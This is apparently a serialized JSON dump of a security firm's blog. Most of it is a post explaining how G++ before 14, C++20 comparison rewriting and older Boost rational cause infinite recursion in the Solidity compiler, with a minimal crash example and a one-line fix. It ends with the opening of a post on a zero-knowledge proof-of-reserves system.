ype":24,"value":3427},{"type":19,"tag":168,"props":88949,"children":88950},{"class":170,"line":1096},[88951],{"type":19,"tag":168,"props":88952,"children":88953},{"style":212},[88954],{"type":24,"value":88955},"BOOST_CONSTEXPR\n",{"type":19,"tag":168,"props":88957,"children":88958},{"class":170,"line":1105},[88959,88964,88969,88974,88979],{"type":19,"tag":168,"props":88960,"children":88961},{"style":382},[88962],{"type":24,"value":88963},"inline",{"type":19,"tag":168,"props":88965,"children":88966},{"style":382},[88967],{"type":24,"value":88968}," typename",{"type":19,"tag":168,"props":88970,"children":88971},{"style":212},[88972],{"type":24,"value":88973}," boost::",{"type":19,"tag":168,"props":88975,"children":88976},{"style":825},[88977],{"type":24,"value":88978},"enable_if_c",{"type":19,"tag":168,"props":88980,"children":88981},{"style":399},[88982],{"type":24,"value":88983}," \u003C\n",{"type":19,"tag":168,"props":88985,"children":88986},{"class":170,"line":1174},[88987,88992,88997,89001,89005,89010,89014,89018],{"type":19,"tag":168,"props":88988,"children":88989},{"style":212},[88990],{"type":24,"value":88991}," rational_detail::is_compatible_integer\u003C",{"type":19,"tag":168,"props":88993,"children":88994},{"style":825},[88995],{"type":24,"value":88996},"Arg",{"type":19,"tag":168,"props":88998,"children":88999},{"style":212},[89000],{"type":24,"value":471},{"type":19,"tag":168,"props":89002,"children":89003},{"style":825},[89004],{"type":24,"value":88166},{"type":19,"tag":168,"props":89006,"children":89007},{"style":212},[89008],{"type":24,"value":89009},">::value, ",{"type":19,"tag":168,"props":89011,"children":89012},{"style":382},[89013],{"type":24,"value":27156},{"type":19,"tag":168,"props":89015,"children":89016},{"style":399},[89017],{"type":24,"value":7905},{"type":19,"tag":168,"props":89019,"children":89020},{"style":212},[89021],{"type":24,"value":89022},"::type\n",{"type":19,"tag":168,"props":89024,"children":89025},{"class":170,"line":1182},[89026,89031,89036,89040,89044,89048,89052,89056,89060,89064,89068,89072,89076,89080,89084],{"type":19,"tag":168,"props":89027,"children":89028},{"style":382},[89029],{"type":24,"value":89030}," operator",{"type":19,"tag":168,"props":89032,"children":89033},{"style":212},[89034],{"type":24,"value":89035}," == (",{"type":19,"tag":168,"props":89037,"children":89038},{"style":382},[89039],{"type":24,"value":7097},{"type":19,"tag":168,"props":89041,"children":89042},{"style":825},[89043],{"type":24,"value":88118},{"type":19,"tag":168,"props":89045,"children":89046},{"style":382},[89047],{"type":24,"value":505},{"type":19,"tag":168,"props":89049,"children":89050},{"style":393},[89051],{"type":24,"value":88199},{"type":19,"tag":168,"props":89053,"children":89054},{"style":212},[89055],{"type":24,"value":471},{"type":19,"tag":168,"props":89057,"children":89058},{"style":382},[89059],{"type":24,"value":7097},{"type":19,"tag":168,"props":89061,"children":89062},{"style":825},[89063],{"type":24,"value":87953},{"type":19,"tag":168,"props":89065,"children":89066},{"style":212},[89067],{"type":24,"value":3240},{"type":19,"tag":168,"props":89069,"children":89070},{"style":825},[89071],{"type":24,"value":88166},{"type":19,"tag":168,"props":89073,"children":89074},{"style":212},[89075],{"type":24,"value":7905},{"type":19,"tag":168,"props":89077,"children":89078},{"style":382},[89079],{"type":24,"value":505},{"type":19,"tag":168,"props":89081,"children":89082},{"style":393},[89083],{"type":24,"value":87325},{"type":19,"tag":168,"props":89085,"children":89086},{"style":212},[89087],{"type":24,"value":557},{"type":19,"tag":168,"props":89089,"children":89090},{"class":170,"line":1212},[89091],{"type":19,"tag":168,"props":89092,"children":89093},{"style":212},[89094],{"type":24,"value":8324},{"type":19,"tag":168,"props":89096,"children":89097},{"class":170,"line":1220},[89098,89102,89106,89110],{"type":19,"tag":168,"props":89099,"children":89100},{"style":419},[89101],{"type":24,"value":36832},{"type":19,"tag":168,"props":89103,"children":89104},{"style":212},[89105],{"type":24,"value":14213},{"type":19,"tag":168,"props":89107,"children":89108},{"style":399},[89109],{"type":24,"value":6013},{"type":19,"tag":168,"props":89111,"children":89112},{"style":212},[89113],{"type":24,"value":89114}," b; \n",{"type":19,"tag":168,"props":89116,"children":89117},{"class":170,"line":1252},[89118],{"type":19,"tag":168,"props":89119,"children":89120},{"style":212},[89121],{"type":24,"value":1326},{"type":19,"tag":20,"props":89123,"children":89124},{},[89125,89127,89133],{"type":24,"value":89126},"This was designed under C++17 semantics. Back then, ",{"type":19,"tag":27,"props":89128,"children":89130},{"className":89129},[],[89131],{"type":24,"value":89132},"rhs == lhs",{"type":24,"value":89134}," would fall back to member overloads if available. All good.",{"type":19,"tag":20,"props":89136,"children":89137},{},[89138,89140,89145,89146,89152],{"type":24,"value":89139},"But under ",{"type":19,"tag":27,"props":89141,"children":89143},{"className":89142},[],[89144],{"type":24,"value":87690},{"type":24,"value":18959},{"type":19,"tag":27,"props":89147,"children":89149},{"className":89148},[],[89150],{"type":24,"value":89151},"G++ \u003C 14",{"type":24,"value":1922},{"type":19,"tag":43,"props":89154,"children":89155},{},[89156,89161,89166,89171],{"type":19,"tag":47,"props":89157,"children":89158},{},[89159],{"type":24,"value":89160},"G++ incorrectly chooses this non-member operator first",{"type":19,"tag":47,"props":89162,"children":89163},{},[89164],{"type":24,"value":89165},"C++20 reverses the comparison",{"type":19,"tag":47,"props":89167,"children":89168},{},[89169],{"type":24,"value":89170},"Which calls the same function again with arguments flipped",{"type":19,"tag":47,"props":89172,"children":89173},{},[89174],{"type":24,"value":89175},"And so on...",{"type":19,"tag":20,"props":89177,"children":89178},{},[89179,89181,89186],{"type":24,"value":89180},"This creates ",{"type":19,"tag":51,"props":89182,"children":89183},{},[89184],{"type":24,"value":89185},"infinite recursion",{"type":24,"value":948},{"type":19,"tag":20,"props":89188,"children":89189},{},[89190],{"type":24,"value":89191},"A minimal example:",{"type":19,"tag":158,"props":89193,"children":89195},{"code":89194,"language":26582,"meta":7,"className":26580,"style":7},"// g++ -std=c++20 -o crash main.cpp && ./crash\n#include \u003Cboost/rational.hpp>\n\nint main() {\n boost::rational\u003Cint> r;\n return r == 0;\n}\n",[89196],{"type":19,"tag":27,"props":89197,"children":89198},{"__ignoreMap":7},[89199,89207,89219,89226,89241,89265,89288],{"type":19,"tag":168,"props":89200,"children":89201},{"class":170,"line":171},[89202],{"type":19,"tag":168,"props":89203,"children":89204},{"style":373},[89205],{"type":24,"value":89206},"// g++ -std=c++20 -o crash main.cpp && ./crash\n",{"type":19,"tag":168,"props":89208,"children":89209},{"class":170,"line":198},[89210,89214],{"type":19,"tag":168,"props":89211,"children":89212},{"style":419},[89213],{"type":24,"value":87904},{"type":19,"tag":168,"props":89215,"children":89216},{"style":181},[89217],{"type":24,"value":89218}," \u003Cboost/rational.hpp>\n",{"type":19,"tag":168,"props":89220,"children":89221},{"class":170,"line":415},[89222],{"type":19,"tag":168,"props":89223,"children":89224},{"emptyLinePlaceholder":14},[89225],{"type":24,"value":1093},{"type":19,"tag":168,"props":89227,"children":89228},{"class":170,"line":450},[89229,89233,89237],{"type":19,"tag":168,"props":89230,"children":89231},{"style":382},[89232],{"type":24,"value":16500},{"type":19,"tag":168,"props":89234,"children":89235},{"style":175},[89236],{"type":24,"value":88269},{"type":19,"tag":168,"props":89238,"children":89239},{"style":212},[89240],{"type":24,"value":13184},{"type":19,"tag":168,"props":89242,"children":89243},{"class":170,"line":560},[89244,89249,89253,89257,89261],{"type":19,"tag":168,"props":89245,"children":89246},{"style":212},[89247],{"type":24,"value":89248}," boost::rational",{"type":19,"tag":168,"props":89250,"children":89251},{"style":399},[89252],{"type":24,"value":3240},{"type":19,"tag":168,"props":89254,"children":89255},{"style":382},[89256],{"type":24,"value":16500},{"type":19,"tag":168,"props":89258,"children":89259},{"style":399},[89260],{"type":24,"value":7905},{"type":19,"tag":168,"props":89262,"children":89263},{"style":212},[89264],{"type":24,"value":88298},{"type":19,"tag":168,"props":89266,"children":89267},{"class":170,"line":666},[89268,89272,89276,89280,89284],{"type":19,"tag":168,"props":89269,"children":89270},{"style":419},[89271],{"type":24,"value":14438},{"type":19,"tag":168,"props":89273,"children":89274},{"style":212},[89275],{"type":24,"value":88310},{"type":19,"tag":168,"props":89277,"children":89278},{"style":399},[89279],{"type":24,"value":6013},{"type":19,"tag":168,"props":89281,"children":89282},{"style":192},[89283],{"type":24,"value":437},{"type":19,"tag":168,"props":89285,"children":89286},{"style":212},[89287],{"type":24,"value":412},{"type":19,"tag":168,"props":89289,"children":89290},{"class":170,"line":694},[89291],{"type":19,"tag":168,"props":89292,"children":89293},{"style":212},[89294],{"type":24,"value":1326},{"type":19,"tag":20,"props":89296,"children":89297},{},[89298],{"type":24,"value":89299},"Expected output: nothing.",{"type":19,"tag":20,"props":89301,"children":89302},{},[89303],{"type":24,"value":89304},"Actual: segmentation fault (stack overflow).",{"type":19,"tag":20,"props":89306,"children":89307},{},[89308,89310,89317],{"type":24,"value":89309},"This exact pattern was ",{"type":19,"tag":269,"props":89311,"children":89314},{"href":89312,"rel":89313},"https://github.com/boostorg/rational/issues/43",[273],[89315],{"type":24,"value":89316},"reported and fixed in Boost rational",{"type":24,"value":89318},", but only in version 1.75+.",{"type":19,"tag":20,"props":89320,"children":89321},{},[89322],{"type":24,"value":89323},"Here’s the one-line fix:",{"type":19,"tag":158,"props":89325,"children":89327},{"code":89326,"language":37838,"meta":7,"className":37836,"style":7},"template \u003Cclass Arg, class IntType>\nBOOST_CONSTEXPR\ninline typename boost::enable_if_c \u003C\n rational_detail::is_compatible_integer\u003CArg, IntType>::value, bool>::type\n operator == (const Arg& b, const rational\u003CIntType>& a)\n{\n- return a == b;\n+ return a.operator==(b);\n}\n",[89328],{"type":19,"tag":27,"props":89329,"children":89330},{"__ignoreMap":7},[89331,89339,89346,89354,89362,89370,89377,89385,89393],{"type":19,"tag":168,"props":89332,"children":89333},{"class":170,"line":171},[89334],{"type":19,"tag":168,"props":89335,"children":89336},{"style":212},[89337],{"type":24,"value":89338},"template \u003Cclass Arg, class IntType>\n",{"type":19,"tag":168,"props":89340,"children":89341},{"class":170,"line":198},[89342],{"type":19,"tag":168,"props":89343,"children":89344},{"style":212},[89345],{"type":24,"value":88955},{"type":19,"tag":168,"props":89347,"children":89348},{"class":170,"line":415},[89349],{"type":19,"tag":168,"props":89350,"children":89351},{"style":212},[89352],{"type":24,"value":89353},"inline typename boost::enable_if_c \u003C\n",{"type":19,"tag":168,"props":89355,"children":89356},{"class":170,"line":450},[89357],{"type":19,"tag":168,"props":89358,"children":89359},{"style":212},[89360],{"type":24,"value":89361}," rational_detail::is_compatible_integer\u003CArg, IntType>::value, bool>::type\n",{"type":19,"tag":168,"props":89363,"children":89364},{"class":170,"line":560},[89365],{"type":19,"tag":168,"props":89366,"children":89367},{"style":212},[89368],{"type":24,"value":89369}," operator == (const Arg& b, const rational\u003CIntType>& a)\n",{"type":19,"tag":168,"props":89371,"children":89372},{"class":170,"line":666},[89373],{"type":19,"tag":168,"props":89374,"children":89375},{"style":212},[89376],{"type":24,"value":8324},{"type":19,"tag":168,"props":89378,"children":89379},{"class":170,"line":694},[89380],{"type":19,"tag":168,"props":89381,"children":89382},{"style":181},[89383],{"type":24,"value":89384},"- return a == b;\n",{"type":19,"tag":168,"props":89386,"children":89387},{"class":170,"line":707},[89388],{"type":19,"tag":168,"props":89389,"children":89390},{"style":192},[89391],{"type":24,"value":89392},"+ return a.operator==(b);\n",{"type":19,"tag":168,"props":89394,"children":89395},{"class":170,"line":725},[89396],{"type":19,"tag":168,"props":89397,"children":89398},{"style":212},[89399],{"type":24,"value":1326},{"type":19,"tag":20,"props":89401,"children":89402},{},[89403,89405,89410,89412,89417],{"type":24,"value":89404},"Instead of calling ",{"type":19,"tag":27,"props":89406,"children":89408},{"className":89407},[],[89409],{"type":24,"value":87736},{"type":24,"value":89411}," — which triggers overload resolution again — the patched version directly calls the member function ",{"type":19,"tag":27,"props":89413,"children":89415},{"className":89414},[],[89416],{"type":24,"value":87744},{"type":24,"value":948},{"type":19,"tag":20,"props":89419,"children":89420},{},[89421],{"type":24,"value":89422},"This prevents C++20 from triggering recursive rewrites.",{"type":19,"tag":16245,"props":89424,"children":89425},{},[],{"type":19,"tag":36,"props":89427,"children":89429},{"id":89428},"part-iv-how-this-breaks-solidity",[89430],{"type":24,"value":89431},"Part IV: How This Breaks Solidity",{"type":19,"tag":20,"props":89433,"children":89434},{},[89435,89437,89442],{"type":24,"value":89436},"The Solidity codebase uses ",{"type":19,"tag":27,"props":89438,"children":89440},{"className":89439},[],[89441],{"type":24,"value":87591},{"type":24,"value":89443}," to represent certain compile-time constant expressions.",{"type":19,"tag":20,"props":89445,"children":89446},{},[89447,89449,89455],{"type":24,"value":89448},"One snippet that can trigger this issue appears in ",{"type":19,"tag":27,"props":89450,"children":89452},{"className":89451},[],[89453],{"type":24,"value":89454},"DeclarationTypeChecker::endVisit",{"type":24,"value":1922},{"type":19,"tag":158,"props":89457,"children":89459},{"code":89458,"language":26582,"meta":7,"className":26580,"style":7},"if (Expression const* length = _typeName.length()) {\n std::optional\u003Crational> lengthValue;\n\n if (length->annotation().type && length->annotation().type->category() == Type::Category::RationalNumber)\n ...\n else if (std::optional\u003CConstantEvaluator::TypedRational> value = ConstantEvaluator::evaluate(...))\n lengthValue = value->value;\n\n if (!lengthValue)\n ...\n else if (*lengthValue == 0) // \u003C-- Infinite recursion happens here\n ...\n}\n",[89460],{"type":19,"tag":27,"props":89461,"children":89462},{"__ignoreMap":7},[89463,89510,89535,89542,89620,89627,89680,89708,89715,89735,89742,89782,89789],{"type":19,"tag":168,"props":89464,"children":89465},{"class":170,"line":171},[89466,89470,89475,89479,89483,89488,89492,89497,89501,89505],{"type":19,"tag":168,"props":89467,"children":89468},{"style":419},[89469],{"type":24,"value":13027},{"type":19,"tag":168,"props":89471,"children":89472},{"style":212},[89473],{"type":24,"value":89474}," (Expression ",{"type":19,"tag":168,"props":89476,"children":89477},{"style":382},[89478],{"type":24,"value":7097},{"type":19,"tag":168,"props":89480,"children":89481},{"style":399},[89482],{"type":24,"value":2002},{"type":19,"tag":168,"props":89484,"children":89485},{"style":212},[89486],{"type":24,"value":89487}," length ",{"type":19,"tag":168,"props":89489,"children":89490},{"style":399},[89491],{"type":24,"value":486},{"type":19,"tag":168,"props":89493,"children":89494},{"style":393},[89495],{"type":24,"value":89496}," _typeName",{"type":19,"tag":168,"props":89498,"children":89499},{"style":212},[89500],{"type":24,"value":948},{"type":19,"tag":168,"props":89502,"children":89503},{"style":175},[89504],{"type":24,"value":5941},{"type":19,"tag":168,"props":89506,"children":89507},{"style":212},[89508],{"type":24,"value":89509},"()) {\n",{"type":19,"tag":168,"props":89511,"children":89512},{"class":170,"line":198},[89513,89518,89522,89526,89530],{"type":19,"tag":168,"props":89514,"children":89515},{"style":212},[89516],{"type":24,"value":89517}," std::optional",{"type":19,"tag":168,"props":89519,"children":89520},{"style":399},[89521],{"type":24,"value":3240},{"type":19,"tag":168,"props":89523,"children":89524},{"style":212},[89525],{"type":24,"value":88595},{"type":19,"tag":168,"props":89527,"children":89528},{"style":399},[89529],{"type":24,"value":7905},{"type":19,"tag":168,"props":89531,"children":89532},{"style":212},[89533],{"type":24,"value":89534}," lengthValue;\n",{"type":19,"tag":168,"props":89536,"children":89537},{"class":170,"line":415},[89538],{"type":19,"tag":168,"props":89539,"children":89540},{"emptyLinePlaceholder":14},[89541],{"type":24,"value":1093},{"type":19,"tag":168,"props":89543,"children":89544},{"class":170,"line":450},[89545,89549,89553,89557,89561,89565,89569,89573,89577,89582,89586,89590,89594,89598,89602,89607,89611,89615],{"type":19,"tag":168,"props":89546,"children":89547},{"style":419},[89548],{"type":24,"value":9724},{"type":19,"tag":168,"props":89550,"children":89551},{"style":212},[89552],{"type":24,"value":461},{"type":19,"tag":168,"props":89554,"children":89555},{"style":393},[89556],{"type":24,"value":5941},{"type":19,"tag":168,"props":89558,"children":89559},{"style":212},[89560],{"type":24,"value":11203},{"type":19,"tag":168,"props":89562,"children":89563},{"style":175},[89564],{"type":24,"value":27634},{"type":19,"tag":168,"props":89566,"children":89567},{"style":212},[89568],{"type":24,"value":27639},{"type":19,"tag":168,"props":89570,"children":89571},{"style":393},[89572],{"type":24,"value":30229},{"type":19,"tag":168,"props":89574,"children":89575},{"style":399},[89576],{"type":24,"value":11631},{"type":19,"tag":168,"props":89578,"children":89579},{"style":393},[89580],{"type":24,"value":89581}," length",{"type":19,"tag":168,"props":89583,"children":89584},{"style":212},[89585],{"type":24,"value":11203},{"type":19,"tag":168,"props":89587,"children":89588},{"style":175},[89589],{"type":24,"value":27634},{"type":19,"tag":168,"props":89591,"children":89592},{"style":212},[89593],{"type":24,"value":27639},{"type":19,"tag":168,"props":89595,"children":89596},{"style":393},[89597],{"type":24,"value":30229},{"type":19,"tag":168,"props":89599,"children":89600},{"style":212},[89601],{"type":24,"value":11203},{"type":19,"tag":168,"props":89603,"children":89604},{"style":175},[89605],{"type":24,"value":89606},"category",{"type":19,"tag":168,"props":89608,"children":89609},{"style":212},[89610],{"type":24,"value":11489},{"type":19,"tag":168,"props":89612,"children":89613},{"style":399},[89614],{"type":24,"value":6013},{"type":19,"tag":168,"props":89616,"children":89617},{"style":212},[89618],{"type":24,"value":89619}," Type::Category::RationalNumber)\n",{"type":19,"tag":168,"props":89621,"children":89622},{"class":170,"line":560},[89623],{"type":19,"tag":168,"props":89624,"children":89625},{"style":212},[89626],{"type":24,"value":79331},{"type":19,"tag":168,"props":89628,"children":89629},{"class":170,"line":666},[89630,89635,89639,89644,89648,89653,89657,89662,89666,89671,89675],{"type":19,"tag":168,"props":89631,"children":89632},{"style":419},[89633],{"type":24,"value":89634}," else",{"type":19,"tag":168,"props":89636,"children":89637},{"style":419},[89638],{"type":24,"value":13236},{"type":19,"tag":168,"props":89640,"children":89641},{"style":212},[89642],{"type":24,"value":89643}," (std::optional",{"type":19,"tag":168,"props":89645,"children":89646},{"style":399},[89647],{"type":24,"value":3240},{"type":19,"tag":168,"props":89649,"children":89650},{"style":212},[89651],{"type":24,"value":89652},"ConstantEvaluator::TypedRational",{"type":19,"tag":168,"props":89654,"children":89655},{"style":399},[89656],{"type":24,"value":7905},{"type":19,"tag":168,"props":89658,"children":89659},{"style":212},[89660],{"type":24,"value":89661}," value ",{"type":19,"tag":168,"props":89663,"children":89664},{"style":399},[89665],{"type":24,"value":486},{"type":19,"tag":168,"props":89667,"children":89668},{"style":212},[89669],{"type":24,"value":89670}," ConstantEvaluator::",{"type":19,"tag":168,"props":89672,"children":89673},{"style":175},[89674],{"type":24,"value":35480},{"type":19,"tag":168,"props":89676,"children":89677},{"style":212},[89678],{"type":24,"value":89679},"(...))\n",{"type":19,"tag":168,"props":89681,"children":89682},{"class":170,"line":694},[89683,89688,89692,89696,89700,89704],{"type":19,"tag":168,"props":89684,"children":89685},{"style":212},[89686],{"type":24,"value":89687}," lengthValue ",{"type":19,"tag":168,"props":89689,"children":89690},{"style":399},[89691],{"type":24,"value":486},{"type":19,"tag":168,"props":89693,"children":89694},{"style":393},[89695],{"type":24,"value":29983},{"type":19,"tag":168,"props":89697,"children":89698},{"style":212},[89699],{"type":24,"value":11203},{"type":19,"tag":168,"props":89701,"children":89702},{"style":393},[89703],{"type":24,"value":36627},{"type":19,"tag":168,"props":89705,"children":89706},{"style":212},[89707],{"type":24,"value":412},{"type":19,"tag":168,"props":89709,"children":89710},{"class":170,"line":707},[89711],{"type":19,"tag":168,"props":89712,"children":89713},{"emptyLinePlaceholder":14},[89714],{"type":24,"value":1093},{"type":19,"tag":168,"props":89716,"children":89717},{"class":170,"line":725},[89718,89722,89726,89730],{"type":19,"tag":168,"props":89719,"children":89720},{"style":419},[89721],{"type":24,"value":9724},{"type":19,"tag":168,"props":89723,"children":89724},{"style":212},[89725],{"type":24,"value":461},{"type":19,"tag":168,"props":89727,"children":89728},{"style":399},[89729],{"type":24,"value":18076},{"type":19,"tag":168,"props":89731,"children":89732},{"style":212},[89733],{"type":24,"value":89734},"lengthValue)\n",{"type":19,"tag":168,"props":89736,"children":89737},{"class":170,"line":746},[89738],{"type":19,"tag":168,"props":89739,"children":89740},{"style":212},[89741],{"type":24,"value":79331},{"type":19,"tag":168,"props":89743,"children":89744},{"class":170,"line":755},[89745,89749,89753,89757,89761,89765,89769,89773,89777],{"type":19,"tag":168,"props":89746,"children":89747},{"style":419},[89748],{"type":24,"value":89634},{"type":19,"tag":168,"props":89750,"children":89751},{"style":419},[89752],{"type":24,"value":13236},{"type":19,"tag":168,"props":89754,"children":89755},{"style":212},[89756],{"type":24,"value":461},{"type":19,"tag":168,"props":89758,"children":89759},{"style":399},[89760],{"type":24,"value":2002},{"type":19,"tag":168,"props":89762,"children":89763},{"style":212},[89764],{"type":24,"value":87567},{"type":19,"tag":168,"props":89766,"children":89767},{"style":399},[89768],{"type":24,"value":6013},{"type":19,"tag":168,"props":89770,"children":89771},{"style":192},[89772],{"type":24,"value":437},{"type":19,"tag":168,"props":89774,"children":89775},{"style":212},[89776],{"type":24,"value":524},{"type":19,"tag":168,"props":89778,"children":89779},{"style":373},[89780],{"type":24,"value":89781}," // \u003C-- Infinite recursion happens here\n",{"type":19,"tag":168,"props":89783,"children":89784},{"class":170,"line":1008},[89785],{"type":19,"tag":168,"props":89786,"children":89787},{"style":212},[89788],{"type":24,"value":79331},{"type":19,"tag":168,"props":89790,"children":89791},{"class":170,"line":1025},[89792],{"type":19,"tag":168,"props":89793,"children":89794},{"style":212},[89795],{"type":24,"value":1326},{"type":19,"tag":20,"props":89797,"children":89798},{},[89799],{"type":24,"value":89800},"Under normal circumstances, this expression is benign. But:",{"type":19,"tag":43,"props":89802,"children":89803},{},[89804,89809,89814],{"type":19,"tag":47,"props":89805,"children":89806},{},[89807],{"type":24,"value":89808},"G++ \u003C 14 wrongly prefers Boost's non-member operator",{"type":19,"tag":47,"props":89810,"children":89811},{},[89812],{"type":24,"value":89813},"C++20 reverses the arguments",{"type":19,"tag":47,"props":89815,"children":89816},{},[89817],{"type":24,"value":89818},"The non-member operator recursively calls itself",{"type":19,"tag":20,"props":89820,"children":89821},{},[89822],{"type":24,"value":89823},"💥: segmentation fault.",{"type":19,"tag":16245,"props":89825,"children":89826},{},[],{"type":19,"tag":36,"props":89828,"children":89830},{"id":89829},"part-v-what-environments-are-affected",[89831],{"type":24,"value":89832},"Part V: What Environments are Affected?",{"type":19,"tag":20,"props":89834,"children":89835},{},[89836],{"type":24,"value":89837},"If a system uses any of the following:",{"type":19,"tag":43,"props":89839,"children":89840},{},[89841,89846,89851],{"type":19,"tag":47,"props":89842,"children":89843},{},[89844],{"type":24,"value":89845},"G++ \u003C 14 (e.g., Ubuntu 22.04 uses 11.4)",{"type":19,"tag":47,"props":89847,"children":89848},{},[89849],{"type":24,"value":89850},"Boost \u003C 1.75 (e.g., 1.74 ships with Ubuntu)",{"type":19,"tag":47,"props":89852,"children":89853},{},[89854],{"type":24,"value":89855},"C++20 enabled (default in recent Solidity builds)",{"type":19,"tag":20,"props":89857,"children":89858},{},[89859,89861,89866,89868,89874],{"type":24,"value":89860},"They will encounter this crash ",{"type":19,"tag":51,"props":89862,"children":89863},{},[89864],{"type":24,"value":89865},"as soon as",{"type":24,"value":89867}," it processes a Solidity source with a length expression like ",{"type":19,"tag":27,"props":89869,"children":89871},{"className":89870},[],[89872],{"type":24,"value":89873},"T[0]",{"type":24,"value":89875}," or anything involving compile-time rational comparisons.",{"type":19,"tag":16245,"props":89877,"children":89878},{},[],{"type":19,"tag":36,"props":89880,"children":89882},{"id":89881},"recommendations",[89883],{"type":24,"value":89884},"Recommendations",{"type":19,"tag":43,"props":89886,"children":89887},{},[89888,89896],{"type":19,"tag":47,"props":89889,"children":89890},{},[89891],{"type":19,"tag":51,"props":89892,"children":89893},{},[89894],{"type":24,"value":89895},"Update Boost to ≥ 1.75",{"type":19,"tag":47,"props":89897,"children":89898},{},[89899],{"type":19,"tag":51,"props":89900,"children":89901},{},[89902],{"type":24,"value":89903},"Pin G++ to v14 or later",{"type":19,"tag":16245,"props":89905,"children":89906},{},[],{"type":19,"tag":36,"props":89908,"children":89909},{"id":26402},[89910],{"type":24,"value":16400},{"type":19,"tag":20,"props":89912,"children":89913},{},[89914],{"type":24,"value":89915},"This isn’t a security vulnerability. It doesn’t corrupt memory or allow code execution.",{"type":19,"tag":20,"props":89917,"children":89918},{},[89919,89921,89925],{"type":24,"value":89920},"But it ",{"type":19,"tag":51,"props":89922,"children":89923},{},[89924],{"type":24,"value":1402},{"type":24,"value":89926}," a reminder of the fragility of modern build stacks. A bug introduced in 2012, fixed in 2024, quietly broke one of the most used blockchain compiler toolchains — all without any code in the Solidity repo being “wrong.”",{"type":19,"tag":20,"props":89928,"children":89929},{},[89930],{"type":24,"value":89931},"Every layer here — Boost, G++, the C++20 spec, and Solidity — behaved “as documented.” But together, they composed into undefined behavior.",{"type":19,"tag":20,"props":89933,"children":89934},{},[89935],{"type":24,"value":89936},"The lesson? Always test critical software under multiple compilers and library versions — especially when enabling a new language standard.",{"type":19,"tag":232,"props":89938,"children":89939},{},[89940],{"type":24,"value":236},{"title":7,"searchDepth":198,"depth":198,"links":89942},[89943,89944,89949,89952,89953,89954,89955,89956],{"id":87627,"depth":198,"text":87630},{"id":87716,"depth":198,"text":87719,"children":89945},[89946,89947,89948],{"id":87722,"depth":415,"text":87725},{"id":87790,"depth":415,"text":87793},{"id":87881,"depth":415,"text":87884},{"id":88464,"depth":198,"text":88467,"children":89950},[89951],{"id":88470,"depth":415,"text":88473},{"id":88581,"depth":198,"text":88584},{"id":89428,"depth":198,"text":89431},{"id":89829,"depth":198,"text":89832},{"id":89881,"depth":198,"text":89884},{"id":26402,"depth":198,"text":16400},"content:blog:2025-08-11-compiler-bug-causes-compiler-bug.md","blog/2025-08-11-compiler-bug-causes-compiler-bug.md","blog/2025-08-11-compiler-bug-causes-compiler-bug",{"_path":89961,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":89962,"description":89963,"date":89964,"author":28672,"image":89965,"isFeatured":14,"onBlogPage":14,"tags":89967,"body":89970,"_type":242,"_id":94746,"_source":244,"_file":94747,"_stem":94748,"_extension":247},"/blog/2025-08-27-how-proof-of-reserves-uses-zk-to-protect-your-funds","PoRv2: A Fast, Transparent ZK-Based Proof of Reserves","Here, we explore zk-proofs, Merkle trees, and our new open-source implementation, PoRv2. Our proof-of-reserve enables users to verify exchange liabilities without relying on external auditors, setting a new standard for trust.","2025-08-27",{"src":89966,"width":11069,"height":11069},"/posts/por/title.png",[89968,89969],"zk","por",{"type":16,"children":89971,"toc":94723},[89972,89978,89990,90002,90007,90039,90053,90059,90071,90076,90081,90118,90123,90129,90134,90141,90146,90172,90177,90183,90203,90217,90225,90230,90235,90243,90256,90262,90344,90350,90355,90368,90373,90380,90404,90412,90417,90423,90428,90876,90889,90895,90900,90908,90926,90934,90947,90955,92616,92621,92628,92634,92639,92646,92662,92669,92677,92684,94195,94200,94207,94213,94218,94245,94250,94269,94275,94283,94301,94350,94358,94377,94399,94405,94418,94423,94430,94435,94498,94503,94510,94530,94536,94541,94547,94552,94596,94601,94609,94615,94620,94662,94667,94675,94680,94688,94692,94697,94710],{"type":19,"tag":36,"props":89973,"children":89975},{"id":89974},"what-is-a-proof-of-reserves",[89976],{"type":24,"value":89977},"What is a Proof of Reserves?",{"type":19,"tag":20,"props":89979,"children":89980},{},[89981,89983,89988],{"type":24,"value":89982},"At its heart, ",{"type":19,"tag":51,"props":89984,"children":89985},{},[89986],{"type":24,"value":89987},"Proof of Reserves (PoR)",{"type":24,"value":89989}," is a crucial system designed to show that a crypto platform genuinely holds the funds it owes to its users. It's how exchanges and custodians can prove, using strong cryptographic methods, that they have enough assets to cover all customer deposits.",{"type":19,"tag":20,"props":89991,"children":89992},{},[89993,89995,90000],{"type":24,"value":89994},"Think of it this way: ",{"type":19,"tag":51,"props":89996,"children":89997},{},[89998],{"type":24,"value":89999},"PoR",{"type":24,"value":90001}," is about enabling transparency. It's a way for platforms to provide clear, verifiable evidence of their financial health. For users, it means gaining confidence that their funds are secure on the platforms they use.",{"type":19,"tag":20,"props":90003,"children":90004},{},[90005],{"type":24,"value":90006},"Historically, traditional ways of proving reserves often had drawbacks. They might reveal too much sensitive information about the platform and rely heavily on external auditors without a direct user verification method.",{"type":19,"tag":20,"props":90008,"children":90009},{},[90010,90012,90019,90021,90028,90030,90037],{"type":24,"value":90011},"We from OtterSec, in partnership with ",{"type":19,"tag":269,"props":90013,"children":90016},{"href":90014,"rel":90015},"https://backpack.exchange/",[273],[90017],{"type":24,"value":90018},"Backpack",{"type":24,"value":90020},", just developed a Proof of Reserves system that can be used to prove CEX solvency. Our ",{"type":19,"tag":269,"props":90022,"children":90025},{"href":90023,"rel":90024},"https://github.com/otter-sec/por_v2",[273],[90026],{"type":24,"value":90027},"Zero-Knowledge Proof of Reserves (PoRv2)",{"type":24,"value":90029}," was based on ",{"type":19,"tag":269,"props":90031,"children":90034},{"href":90032,"rel":90033},"https://www.okx.com/en-eu/help/zero-knowledge-proofs-what-are-zk-starks-and-how-do-they-work-v2",[273],[90035],{"type":24,"value":90036},"OKX Proof of Reserves algorithm",{"type":24,"value":90038}," since it was the fastest and most efficient one known so far. We also use recursive plonky2 as the algorithm for zero-knowledge proving, but we made some improvements to the circuits for more transparency and verifiable information on the user side, eliminating the need to trust the audit company.",{"type":19,"tag":20,"props":90040,"children":90041},{},[90042,90044,90051],{"type":24,"value":90043},"In addition, we also created and open-sourced a ",{"type":19,"tag":269,"props":90045,"children":90048},{"href":90046,"rel":90047},"https://github.com/otter-sec/por_verifier_server",[273],[90049],{"type":24,"value":90050},"PoR verifier server",{"type":24,"value":90052}," that receives the proofs and validates them.",{"type":19,"tag":36,"props":90054,"children":90056},{"id":90055},"why-do-we-use-zk-for-por",[90057],{"type":24,"value":90058},"Why do we use ZK for 